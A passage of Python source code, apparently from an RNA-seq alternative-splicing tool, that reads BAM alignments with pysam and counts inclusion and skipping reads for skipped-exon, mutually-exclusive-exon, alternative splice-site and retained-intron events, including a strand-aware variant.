## A5SS ##
if chr in a5ss: ## this chromosome has a5ss event(s)
if egroup in a5ss[chr]: ## this egroup has a5ss event(s), this group is valid for positive strand only
for c in a5ss[chr][egroup]: ## for each a5ss event in this group
if a5ss[chr][egroup][c][4]>a5ss[chr][egroup][c][1]: ## positive strand
if (mc<=(a5ss[chr][egroup][c][3]-(rL-junctionLength/2)+1) and mec<=a5ss[chr][egroup][c][1] and mec>=(a5ss[chr][egroup][c][3]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
if (mc>a5ss[chr][egroup][c][3] and mec<=a5ss[chr][egroup][c][1]): ## exon read supporting target
c_a5ss[c][CT2][I]+=1;
if group in a5ss[chr]: ## this group has a5ss event(s), this group is valid for negative strand only
for c in a5ss[chr][group]: ## for each a5ss event in this group
if a5ss[chr][group][c][4]<a5ss[chr][group][c][1]: ## negative strand
if (mc>a5ss[chr][group][c][0] and mc<=(a5ss[chr][group][c][2]-(rL-junctionLength/2)+1) and mec>=(a5ss[chr][group][c][2]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
if (mc>a5ss[chr][group][c][0] and mec<=a5ss[chr][group][c][2]): ## exon read supporting target
c_a5ss[c][CT2][I]+=1;
## end of A5SS ###
## A3SS ##
if chr in a3ss: ## this chromosome has a3ss event(s)
if egroup in a3ss[chr]: ## this group has a3ss event(s)
for c in a3ss[chr][egroup]: ## for each a3ss event in this group
if a3ss[chr][egroup][c][4]>a3ss[chr][egroup][c][1]: ## negative strand
if (mc<=(a3ss[chr][egroup][c][3]-(rL-junctionLength/2)+1) and mec<=a3ss[chr][egroup][c][1] and mec>=(a3ss[chr][egroup][c][3]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
if (mc>a3ss[chr][egroup][c][3] and mec<=a3ss[chr][egroup][c][1]): ## exon read supporting target
c_a3ss[c][CT2][I]+=1;
if group in a3ss[chr]: ## this group has a3ss event(s)
for c in a3ss[chr][group]: ## for each a3ss event in this group
if a3ss[chr][group][c][4]<a3ss[chr][group][c][1]: ## positive strand
if (mc>a3ss[chr][group][c][0] and mc<=(a3ss[chr][group][c][2]-(rL-junctionLength/2)+1) and mec>=(a3ss[chr][group][c][2]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
if (mc>a3ss[chr][group][c][0] and mec<=a3ss[chr][group][c][2]): ## exon read supporting target
c_a3ss[c][CT2][I]+=1;
## end of A3SS ###
## RI ##
if chr in ri: ## this chromosome has ri event(s)
groupsToExamine = list(set([group,egroup])); ## to examine multiple groups
tempProcessedRI_id={}; ## to examine multiple groups
for ggg in groupsToExamine: ## for each group
if ggg in ri[chr]: ## this group has ri event(s)
for c in ri[chr][ggg]: ## for each ri event in this group, strand does not matter for ri events
if c in tempProcessedRI_id: ## already processed this event, skip it
continue; ## next c please
else: ## new c here
tempProcessedRI_id[c]='1';
if (mc<=(ri[chr][ggg][c][3]-(rL-junctionLength/2)+1) and mec>=(ri[chr][ggg][c][3]+(rL-junctionLength/2))) or (mc<=(ri[chr][ggg][c][4]-(rL-junctionLength/2)+1) and mec>=(ri[chr][ggg][c][4]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_ri[c][CT1][I]+=1;
c_ri[c][CT2][I]+=1;
if (mc>ri[chr][ggg][c][3] and mec<=ri[chr][ggg][c][4]): ## exon read supporting target
c_ri[c][CT2][I]+=1;
## end of RI ###
####### now take care of junction counts from junction reads ######
elif len(split_mString)>=3: ###### junction read ###########
beginning=int(split_mString[0].split('N')[-1]);
ending = int(split_mString[-2].split('N')[-1]);
jS=mc; jE=mc-1;
usedE={};## to avoid using the same read more than one time for the same event
#usedG={}; ## used group, to avoid examining the same group more than once
prevN=-1; nextN=-1; ## for previous junction and next junction
for ec in range(0,len(split_mString)-2): ## for each coordinate
secondNumber = int(split_mString[ec].split('N')[-1]);
jumpNumber = int(split_mString[ec+1].split('N')[0]);
lastNumber = int(split_mString[ec+1].split('N')[-1]);
if ec>0: ## there is prevN
prevN = int(split_mString[ec].split('N')[0]);
if (ec>=0 and ec<len(split_mString)-3): ## there is nextN
nextN = int(split_mString[ec+2].split('N')[0]);
if (ec>=0 and ec<len(split_mString)-2): ## there iS nextN
if (ec==len(split_mString)-3):
nextN=-1;
else:
nextN = int(split_mString[ec+2].split('N')[0]);
jS = jE+secondNumber; ## 1-base
jE = jS+jumpNumber; ## 0-base
key = chr+'_'+str(jS)+'_'+str(jE);
cStart=jS-secondNumber+1; cEnd=jS;
cStart_last=cStart;
cEnd_last=cEnd;
minAnchor = min(int(split_mString[0]), int(split_mString[-2].split('N')[1])); ## min nts going across junction
if minAnchor<anchorLength: ## not a valid junction read, do not count it
continue;
if ec==0: ## first junction, check the first number
if beginning<anchorLength: ## not a valid junction read, do not count it
continue; ## next junction
if ec==(len(split_mString)-3): ## check the last segment length
if ending<anchorLength: ## not a valid junction read, do not count it
continue;
## edge counts
if key in e1: ## exist!
e1[key] = e1[key]+1;
else: ## new junction
e1[key] = 1;
group = jS/chunk; ## changing group here
#if group in usedG: ## already visited this group
# continue; ## next junction coord
#else: ## update usedG dictioanry
# usedG[group]='1';
## SE ###
if chr in se: ## this chromosome has se event(s)
if group in se[chr]: ## this group has skipped exon event(s)
for c in se[chr][group]: ## for each skipped exon event in this group, examine if the given junction is part of it
seLength=se[chr][group][c][1]-se[chr][group][c][0];
upjLength=se[chr][group][c][0]-se[chr][group][c][3];
dnjLength=se[chr][group][c][4]-se[chr][group][c][1];
if (jS==se[chr][group][c][3] and jE==se[chr][group][c][0] and ((lastNumber<=seLength and nextN==-1) or (lastNumber==seLength and nextN==dnjLength))) or (jS==se[chr][group][c][1] and jE==se[chr][group][c][4] and ((secondNumber<=seLength and prevN==-1) or (secondNumber==seLength and prevN==upjLength))): ## IJC
key=':'.join(["SE",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_se[c][CT1][I]+=1;
c_se[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif jS==se[chr][group][c][3] and jE==se[chr][group][c][4]: ## SJC
key=':'.join(["SE",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_se[c][CT1][S]+=1;
c_se[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
### end of SE ###
## MXE ###
if chr in mxe: ## this chromosome has mxe event(s)
if group in mxe[chr]: ## this group has mxe event(s)
for c in mxe[chr][group]: ## for each mxe event in this group, examine if the given junction is part of it
mxeLen1=mxe[chr][group][c][1]-mxe[chr][group][c][0];
mxeLen2=mxe[chr][group][c][3]-mxe[chr][group][c][2];
upj1Len=mxe[chr][group][c][0]-mxe[chr][group][c][5];
dnj1Len=mxe[chr][group][c][6]-mxe[chr][group][c][1];
upj2Len=mxe[chr][group][c][2]-mxe[chr][group][c][5];
dnj2Len=mxe[chr][group][c][6]-mxe[chr][group][c][3];
if (jS==mxe[chr][group][c][5] and jE==mxe[chr][group][c][0] and ((lastNumber<=mxeLen1 and nextN==-1) or (lastNumber==mxeLen1 and nextN==dnj1Len))) or (jS==mxe[chr][group][c][1] and jE==mxe[chr][group][c][6] and ((secondNumber<=mxeLen1 and prevN==-1) or (secondNumber==mxeLen1 and prevN==upj1Len))): ## IJC
key=':'.join(["MXE",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_mxe[c][CT1][I]+=1;
c_mxe[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif (jS==mxe[chr][group][c][5] and jE==mxe[chr][group][c][2] and ((lastNumber<=mxeLen2 and nextN==-1) or (lastNumber==mxeLen2 and nextN==dnj2Len))) or (jS==mxe[chr][group][c][3] and jE==mxe[chr][group][c][6] and ((secondNumber<=mxeLen2 and prevN==-1) or (secondNumber==mxeLen2 and prevN==upj2Len))): ## SJC
key=':'.join(["MXE",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_mxe[c][CT1][S]+=1;
c_mxe[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
### end of MXE ###
## A5SS ###
if chr in a5ss: ## this chromosome has a5ss event(s)
if group in a5ss[chr]: ## this group has a5ss event(s)
for c in a5ss[chr][group]: ## for each a5ss event in this group, examine if the given junction is part of it
if a5ss[chr][group][c][4]>a5ss[chr][group][c][1]: ## positive strand
if ( jS==a5ss[chr][group][c][1] and jE==a5ss[chr][group][c][4] ): ## IJC
key=':'.join(["A5SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif ( jS==a5ss[chr][group][c][3] and jE==a5ss[chr][group][c][4] ): ## SJC
key=':'.join(["A5SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a5ss[c][CT1][S]+=1;
c_a5ss[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
elif nextN == -1:
cStart_last = jE+1; cEnd_last=jE+lastNumber;
if (cStart_last<=(a5ss[chr][group][c][3]-(rL-junctionLength/2)+1) and cEnd_last<=a5ss[chr][group][c][1] and cEnd_last>=(a5ss[chr][group][c][3]+(rL-junctionLength/2))): ## multi-exon read supporting target
key=':'.join(["A5SS",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
else: ## negative strand
if ( jS==a5ss[chr][group][c][5] and jE==a5ss[chr][group][c][0] ): ## IJC
key=':'.join(["A5SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif ( jS==a5ss[chr][group][c][5] and jE==a5ss[chr][group][c][2] ): ## SJC
key=':'.join(["A5SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a5ss[c][CT1][S]+=1;
c_a5ss[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
elif prevN == -1:
if (cStart>a5ss[chr][group][c][0] and cStart<=(a5ss[chr][group][c][2]-(rL-junctionLength/2)+1) and cEnd>=(a5ss[chr][group][c][2]+(rL-junctionLength/2))): ## multi-exon read supporting target
key=':'.join(["A5SS",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
### end of A5SS ###
## A3SS ###
if chr in a3ss: ## this chromosome has a3ss event(s)
if group in a3ss[chr]: ## this group has a3ss event(s)
for c in a3ss[chr][group]: ## for each a3ss event in this group, examine if the given junction is part of it
if a3ss[chr][group][c][4]>a3ss[chr][group][c][1]: ## negative strand
if ( jS==a3ss[chr][group][c][1] and jE==a3ss[chr][group][c][4] ): ## IJC
key=':'.join(["A3SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif ( jS==a3ss[chr][group][c][3] and jE==a3ss[chr][group][c][4] ): ## SJC
key=':'.join(["A3SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a3ss[c][CT1][S]+=1;
c_a3ss[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
elif nextN == -1:
cStart_last = jE+1; cEnd_last=jE+lastNumber;
if (cStart_last<=(a3ss[chr][group][c][3]-(rL-junctionLength/2)+1) and cEnd_last<=a3ss[chr][group][c][1] and cEnd_last>=(a3ss[chr][group][c][3]+(rL-junctionLength/2))): ## multi-exon read supporting target
key=':'.join(["A3SS",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
else: ## positive strand
if ( jS==a3ss[chr][group][c][5] and jE==a3ss[chr][group][c][0] ): ## IJC
key=':'.join(["A3SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif ( jS==a3ss[chr][group][c][5] and jE==a3ss[chr][group][c][2] ): ## SJC
key=':'.join(["A3SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a3ss[c][CT1][S]+=1;
c_a3ss[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
elif prevN == -1:
if (cStart>a3ss[chr][group][c][0] and cStart<=(a3ss[chr][group][c][2]-(rL-junctionLength/2)+1) and cEnd>=(a3ss[chr][group][c][2]+(rL-junctionLength/2))): ## multi-exon read supporting target
key=':'.join(["A3SS",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
### end of A3SS ###
## RI ###
if chr in ri: ## this chromosome has ri event(s)
if group in ri[chr]: ## this group has ri event(s)
for c in ri[chr][group]: ## for each ri event in this group, examine if the given junction is part of it
if jS==ri[chr][group][c][3] and jE==ri[chr][group][c][4] : ## SJC
key=':'.join(["RI",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_ri[c][CT1][S]+=1;
c_ri[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
if prevN == -1:
if cStart<=(ri[chr][group][c][4]-(rL-junctionLength/2)+1) and cEnd>=(ri[chr][group][c][4]+(rL-junctionLength/2)): ## multi-exon read supporting target
key=':'.join(["RI",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_ri[c][CT1][I]+=1;
c_ri[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
if nextN == -1:
cStart_last = jE+1; cEnd_last=jE+lastNumber; ## just change cStart and cEnd then do the same process
if cStart_last<=(ri[chr][group][c][3]-(rL-junctionLength/2)+1) and cEnd_last>=(ri[chr][group][c][3]+(rL-junctionLength/2)):
key=':'.join(["RI",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_ri[c][CT1][I]+=1;
c_ri[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
### end of RI ###
#### end of for ec #####
else: ## it is not exonic nor junction read. proceed to the next line
continue;
sFile.close();
#edgeFile = open(s1.strip()+'.edgeCount', 'w');
#for k in e1:
# edgeFile.write(k+'\t'+str(e1[k])+'\n');
#edgeFile.close();
##### end of processSample ######
def processSample_stranded(sample,dt,lt): ## call it with processSample_firststrand(sample_1, S1,dataType,libraryType) something like this
global anchorLength;
### process the given sample ###
#for s1 in sample: ## for each sam file
# rep = sample.index(s1);
# if len(s1.strip())<1: ## incorrect split. a user might accidently put comma at the end of input sam file list
# continue; ### just skip this entry, probably the last one though
s1=sample;
sFile = pysam.Samfile(s1.strip(),'rb'); ## open bam file
e1 = {}; ## edge count here
for read in sFile.fetch():
if not is_unique(read):
continue;
rL = readLength;
chr = sFile.getrname(read.tid)
if chr[0:3]!='chr': ## X instead of chrX, add 'chr'
chr = 'chr'+chr;
mc = read.pos+1
mString = read.cigarstring
#rID = read.qname
group = mc/chunk; ## group does not change, it's okay to check only one group for a junction read
if 'D' in mString or 'I' in mString or 'S' in mString or 'H' in mString or 'P' in mString or 'X' in mString or '=' in mString: ## skip
continue; ## go to next line
### check to see if the line is either exonic read or junction read
split_mString = mString.split('M');
tor = 0; ## type of read, 0 nothing, 1 exonic read, 2 junction read
if len(split_mString)==2:
tor = 1; ############ exonic read ######
rL = int(split_mString[0]); ## read length specified in this mapping string
mec = mc+rL-1; ## mapping end coord
egroup = mec/chunk;
myStrand='';
sFlag=read.flag;
if dt=='paired' and lt=='first': ## paired-read, firststrand
if (sFlag&16 and sFlag&64) or (sFlag&32 and sFlag&128): ##'+' strand
myStrand='+';
elif (sFlag&32 and sFlag&64) or (sFlag&16 and sFlag&128): ##'-' strand
myStrand='-';
elif dt=='paired' and lt=='second': ## paired-read, secondstrand
if (sFlag&32 and sFlag&64) or (sFlag&16 and sFlag&128): ##'+' strand
myStrand='+';
elif (sFlag&16 and sFlag&64) or (sFlag&32 and sFlag&128): ##'-' strand
myStrand='-';
elif dt=='single' and lt=='first': ##single-end, firststrand
if sFlag&16 : ##'+' strand
myStrand='+';
elif sFlag&32: ##'-' strand
myStrand='-';
elif dt=='single' and lt=='second': ##single-end, secondstrand
if sFlag&32 : ##'+' strand
myStrand='+';
elif sFlag&16: ##'-' strand
myStrand='-';
if len(myStrand)==0 or rL != readLength: ## skip this read, cannot determine the strand
continue;
## SE ###
if chr in se: ## this chromosome has se event(s)
if group in se[chr]: ## this group has skipped exon event(s)
for c in se[chr][group]: ## for each skipped exon event in this group
if se[chr][group][c][-1]==myStrand: ## same strand
if (mc>se[chr][group][c][0] and mec<=se[chr][group][c][1]): ## read on the target
c_se[c][CT2][I]+=1;
### end of SE ###
### MXE ####
if chr in mxe: ## this chromosome has mxe event(s)
if group in mxe[chr]: ## this group has mxe event(s)
for c in mxe[chr][group]: ## for each mxe event in this group
if mxe[chr][group][c][-1]==myStrand: ## same strand
if (mc>mxe[chr][group][c][0] and mec<=mxe[chr][group][c][1]): ## read on the target exon
c_mxe[c][CT2][I]+=1;
elif (mc>mxe[chr][group][c][2] and mec<=mxe[chr][group][c][3]): ## read on the second exon
c_mxe[c][CT2][S]+=1;
## end of MXE ###
## A5SS ##
if chr in a5ss: ## this chromosome has a5ss event(s)
if egroup in a5ss[chr]: ## this egroup has a5ss event(s), valid only for positive strand only
for c in a5ss[chr][egroup]: ## for each a5ss event in this group
if a5ss[chr][egroup][c][-1]==myStrand: ## same strand
if a5ss[chr][egroup][c][4]>a5ss[chr][egroup][c][1]: ## positive strand
if (mc<=(a5ss[chr][egroup][c][3]-(rL-junctionLength/2)+1) and mec<=a5ss[chr][egroup][c][1] and mec>=(a5ss[chr][egroup][c][3]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
if (mc>a5ss[chr][egroup][c][3] and mec<=a5ss[chr][egroup][c][1]): ## exon read supporting target
c_a5ss[c][CT2][I]+=1;
if group in a5ss[chr]: ## this group has a5ss event(s), for negative strand ones only
for c in a5ss[chr][group]: ## for each a5ss event in this group
if a5ss[chr][group][c][-1]==myStrand: ## same strand
if a5ss[chr][group][c][4]<a5ss[chr][group][c][1]: ## negative strand
if (mc>a5ss[chr][group][c][0] and mc<=(a5ss[chr][group][c][2]-(rL-junctionLength/2)+1) and mec>=(a5ss[chr][group][c][2]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
if (mc>a5ss[chr][group][c][0] and mec<=a5ss[chr][group][c][2]): ## exon read supporting target
c_a5ss[c][CT2][I]+=1;
## end of A5SS ###
## A3SS ##
if chr in a3ss: ## this chromosome has a3ss event(s)
if egroup in a3ss[chr]: ## this group has a3ss event(s)
for c in a3ss[chr][egroup]: ## for each a3ss event in this group
if a3ss[chr][egroup][c][-1]==myStrand: ## same strand
if a3ss[chr][egroup][c][4]>a3ss[chr][egroup][c][1]: ## negative strand
if (mc<=(a3ss[chr][egroup][c][3]-(rL-junctionLength/2)+1) and mec<=a3ss[chr][egroup][c][1] and mec>=(a3ss[chr][egroup][c][3]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
if (mc>a3ss[chr][egroup][c][3] and mec<=a3ss[chr][egroup][c][1]): ## exon read supporting target
c_a3ss[c][CT2][I]+=1;
if group in a3ss[chr]: ## this group has a3ss event(s)
for c in a3ss[chr][group]: ## for each a3ss event in this group
if a3ss[chr][group][c][-1]==myStrand: ## same strand
if a3ss[chr][group][c][4]<a3ss[chr][group][c][1]: ## positive strand
if (mc>a3ss[chr][group][c][0] and mc<=(a3ss[chr][group][c][2]-(rL-junctionLength/2)+1) and mec>=(a3ss[chr][group][c][2]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
if (mc>a3ss[chr][group][c][0] and mec<=a3ss[chr][group][c][2]): ## exon read supporting target
c_a3ss[c][CT2][I]+=1;
## end of A3SS ###
## RI ##
if chr in ri: ## this chromosome has ri event(s)
groupsToExamine = list(set([group,egroup])); ## to examine multiple groups
tempProcessedRI_id={}; ## to examine multiple groups
for ggg in groupsToExamine: ## for each group
if ggg in ri[chr]: ## this group has ri event(s)
for c in ri[chr][ggg]: ## for each ri event in this group, strand does not matter for ri events
if c in tempProcessedRI_id: ## already processed this event, skip it
continue; ## next c please
else: ## new c here
if ri[chr][ggg][c][-1]==myStrand: ## same strand
if (mc<=(ri[chr][ggg][c][3]-(rL-junctionLength/2)+1) and mec>=(ri[chr][ggg][c][3]+(rL-junctionLength/2))) or (mc<=(ri[chr][ggg][c][4]-(rL-junctionLength/2)+1) and mec>=(ri[chr][ggg][c][4]+(rL-junctionLength/2))): ## multi-exon read supporting target
c_ri[c][CT1][I]+=1;
c_ri[c][CT2][I]+=1;
if (mc>ri[chr][ggg][c][3] and mec<=ri[chr][ggg][c][4]): ## exon read supporting target
c_ri[c][CT2][I]+=1;
## end of RI ###
####### now take care of junction counts from junction reads ######
elif len(split_mString)>=3: ###### junction read ###########
beginning=int(split_mString[0].split('N')[-1]);
ending = int(split_mString[-2].split('N')[-1]);
jS=mc; jE=mc-1;
usedE={};## to avoid using the same read more than one time for the same event
#usedG={}; ## used group, to avoid examining the same group more than once
prevN=-1; nextN=-1; ## for previous junction and next junction
for ec in range(0,len(split_mString)-2): ## for each coordinate
secondNumber = int(split_mString[ec].split('N')[-1]);
jumpNumber = int(split_mString[ec+1].split('N')[0]);
lastNumber = int(split_mString[ec+1].split('N')[-1]);
if ec>0: ## there is prevN
prevN = int(split_mString[ec].split('N')[0]);
if (ec>=0 and ec<len(split_mString)-3): ## there is nextN
nextN = int(split_mString[ec+2].split('N')[0]);
if (ec>=0 and ec<len(split_mString)-2): ## there iS nextN
if (ec==len(split_mString)-3):
nextN=-1;
else:
nextN = int(split_mString[ec+2].split('N')[0]);
jS = jE+secondNumber; ## 1-base
jE = jS+jumpNumber; ## 0-base
key = chr+'_'+str(jS)+'_'+str(jE);
cStart=jS-secondNumber+1; cEnd=jS;
minAnchor = min(int(split_mString[0]), int(split_mString[-2].split('N')[1])); ## min nts going across junction
if minAnchor<anchorLength: ## not a valid junction read, do not count it
continue;
if ec==0: ## first junction, check the first number
if beginning<anchorLength: ## not a valid junction read, do not count it
continue; ## next junction
if ec==(len(split_mString)-3): ## check the last segment length
if ending<anchorLength: ## not a valid junction read, do not count it
continue;
## edge counts
if key in e1: ## exist!
e1[key] = e1[key]+1;
else: ## new junction
e1[key] = 1;
group = jS/chunk; ## changing group here
#if group in usedG: ## already visited this group
# continue; ## next junction coord
#else: ## update usedG dictioanry
# usedG[group]='1';
## SE ###
if chr in se: ## this chromosome has se event(s)
if group in se[chr]: ## this group has skipped exon event(s)
for c in se[chr][group]: ## for each skipped exon event in this group, examine if the given junction is part of it
seLength=se[chr][group][c][1]-se[chr][group][c][0];
upjLength=se[chr][group][c][0]-se[chr][group][c][3];
dnjLength=se[chr][group][c][4]-se[chr][group][c][1];
if (jS==se[chr][group][c][3] and jE==se[chr][group][c][0] and ((lastNumber<=seLength and nextN==-1) or (lastNumber==seLength and nextN==dnjLength))) or (jS==se[chr][group][c][1] and jE==se[chr][group][c][4] and ((secondNumber<=seLength and prevN==-1) or (secondNumber==seLength and prevN==upjLength))): ## IJC
key=':'.join(["SE",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_se[c][CT1][I]+=1;
c_se[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif jS==se[chr][group][c][3] and jE==se[chr][group][c][4]: ## SJC
key=':'.join(["SE",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_se[c][CT1][S]+=1;
c_se[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
### end of SE ###
## MXE ###
if chr in mxe: ## this chromosome has mxe event(s)
if group in mxe[chr]: ## this group has mxe event(s)
for c in mxe[chr][group]: ## for each mxe event in this group, examine if the given junction is part of it
mxeLen1=mxe[chr][group][c][1]-mxe[chr][group][c][0];
mxeLen2=mxe[chr][group][c][3]-mxe[chr][group][c][2];
upj1Len=mxe[chr][group][c][0]-mxe[chr][group][c][5];
dnj1Len=mxe[chr][group][c][6]-mxe[chr][group][c][1];
upj2Len=mxe[chr][group][c][2]-mxe[chr][group][c][5];
dnj2Len=mxe[chr][group][c][6]-mxe[chr][group][c][3];
if (jS==mxe[chr][group][c][5] and jE==mxe[chr][group][c][0] and ((lastNumber<=mxeLen1 and nextN==-1) or (lastNumber==mxeLen1 and nextN==dnj1Len))) or (jS==mxe[chr][group][c][1] and jE==mxe[chr][group][c][6] and ((secondNumber<=mxeLen1 and prevN==-1) or (secondNumber==mxeLen1 and prevN==upj1Len))): ## IJC
key=':'.join(["MXE",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_mxe[c][CT1][I]+=1;
c_mxe[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif (jS==mxe[chr][group][c][5] and jE==mxe[chr][group][c][2] and ((lastNumber<=mxeLen2 and nextN==-1) or (lastNumber==mxeLen2 and nextN==dnj2Len))) or (jS==mxe[chr][group][c][3] and jE==mxe[chr][group][c][6] and ((secondNumber<=mxeLen2 and prevN==-1) or (secondNumber==mxeLen2 and prevN==upj2Len))): ## SJC
key=':'.join(["MXE",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_mxe[c][CT1][S]+=1;
c_mxe[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
### end of MXE ###
## A5SS ###
if chr in a5ss: ## this chromosome has a5ss event(s)
if group in a5ss[chr]: ## this group has a5ss event(s)
for c in a5ss[chr][group]: ## for each a5ss event in this group, examine if the given junction is part of it
if a5ss[chr][group][c][4]>a5ss[chr][group][c][1]: ## positive strand
if ( jS==a5ss[chr][group][c][1] and jE==a5ss[chr][group][c][4] ): ## IJC
key=':'.join(["A5SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif ( jS==a5ss[chr][group][c][3] and jE==a5ss[chr][group][c][4] ): ## SJC
key=':'.join(["A5SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a5ss[c][CT1][S]+=1;
c_a5ss[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
elif nextN == -1:
cStart = jE+1; cEnd=jE+lastNumber;
if (cStart<=(a5ss[chr][group][c][3]-(rL-junctionLength/2)+1) and cEnd<=a5ss[chr][group][c][1] and cEnd>=(a5ss[chr][group][c][3]+(rL-junctionLength/2))): ## multi-exon read supporting target
key=':'.join(["A5SS",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
else: ## negative strand
if ( jS==a5ss[chr][group][c][5] and jE==a5ss[chr][group][c][0] ): ## IJC
key=':'.join(["A5SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif ( jS==a5ss[chr][group][c][5] and jE==a5ss[chr][group][c][2] ): ## SJC
key=':'.join(["A5SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a5ss[c][CT1][S]+=1;
c_a5ss[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
elif prevN == -1:
cStart = jE+1; cEnd=jE+lastNumber;
if (cStart>a5ss[chr][group][c][0] and cStart<=(a5ss[chr][group][c][2]-(rL-junctionLength/2)+1) and cEnd>=(a5ss[chr][group][c][2]+(rL-junctionLength/2))): ## multi-exon read supporting target
key=':'.join(["A5SS",str(c)]);
if key not in usedE: ## read didn't cover this event before, add it
c_a5ss[c][CT1][I]+=1;
c_a5ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
### end of A5SS ###
## A3SS ###
if chr in a3ss: ## this chromosome has a3ss event(s)
if group in a3ss[chr]: ## this group has a3ss event(s)
for c in a3ss[chr][group]: ## for each a3ss event in this group, examine if the given junction is part of it
if a3ss[chr][group][c][4]>a3ss[chr][group][c][1]: ## negative strand
if ( jS==a3ss[chr][group][c][1] and jE==a3ss[chr][group][c][4] ): ## IJC
key=':'.join(["A3SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a3ss[c][CT1][I]+=1;
c_a3ss[c][CT2][I]+=1;
usedE[key]=1; ## okay to overwrite
elif ( jS==a3ss[chr][group][c][3] and jE==a3ss[chr][group][c][4] ): ## SJC
key=':'.join(["A3SS",str(c)]);
if key in usedE: ## already used;
continue; ## skip and go to next c
c_a3ss[c][CT1][S]+=1;
c_a3ss[c][CT2][S]+=1;
usedE[key]=1; ## okay to overwrite
elif nextN == -1:
cStart = jE+1; cEnd=jE+lastNumber;
if (cStart<=(a3ss[chr][group][c][3]-(rL-junctionLength/2)+1) and cEnd<=a3ss[chr][group][c][1] and cEnd>=(a3ss[chr][group][c][3]+(rL-junctionLength/2))): ## multi-exon read supporting target
key=':'.join(["A5SS",str(c)]);
